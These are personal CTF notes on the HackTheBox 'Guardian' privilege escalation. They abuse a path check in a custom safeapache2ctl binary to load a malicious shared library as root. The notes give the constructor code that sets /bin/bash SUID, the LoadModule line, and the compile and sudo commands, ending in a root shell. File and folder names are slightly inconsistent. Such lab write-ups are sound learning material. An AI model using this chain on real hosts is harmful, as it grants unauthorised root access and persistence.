- Found
HTBGuardian privilege Escalation path very interesting , challenging box nonetheless. - Taking notes for future references, referenced blog post on Guardian by HYH.
This exploit leverages a path validation vulnerability in safeapache2ctl to load a malicious shared library with root privileges, resulting in persistent privilege escalation through SUID binary creation.
- The
safeapache2ctlbinary contains a vulnerable functionis_unsafe_line()with improper path sanitization:
// Flawed validation logic
if (local_1018[0] == '/') { // Only check absolute paths
iVar1 = starts_with(local_1018,"/home/mark/confs/");
if (iVar1 == 0) {
// Block access
}
}
// Relative paths bypass this check entirely!- Intended Security: Restrict file operations to
/home/mark/confs/ - Actual Behavior: Any file in the allowed directory can be referenced, including malicious shared libraries
- Bypass Method: Use absolute paths within the trusted directory that point to malicious content
- The vulnerability affects three Apache configuration directives:
Include- File inclusionIncludeOptional- Optional file inclusionLoadModule⭐ Most Dangerous - Shared library loading
// Apache processes this directive:
LoadModule evil_module /home/mark/confs/evil.so
// Which triggers:
dlopen("/home/mark/confs/evil.so") // Loads shared library
// Constructor executes automatically with Apache's privilegesevil.c, create malicious library
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor)) void init() {
setuid(0);
system("chmod +s /bin/bash");
}__attribute__((constructor))- Function executes automatically on library loadsetuid(0)- Elevates privileges to rootchmod +s /bin/bash- Creates persistent SUID root binary
exploit.conf, create exploit configuration and achieves code execution via shared library constructor
LoadModule evil_module /home/mark/confs/evil.so- Place
evil.cin/home/mark/ - Place
evil.confin/home/mark/conf - Compile the shared library
$ gcc -shared -fPIC -o /home/mark/confs/evil.so /home/mark/evil.c- Run
safeapache2ctlassudo
$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf- Run
bashin privileged mode
$ bash -p
$ whoami
root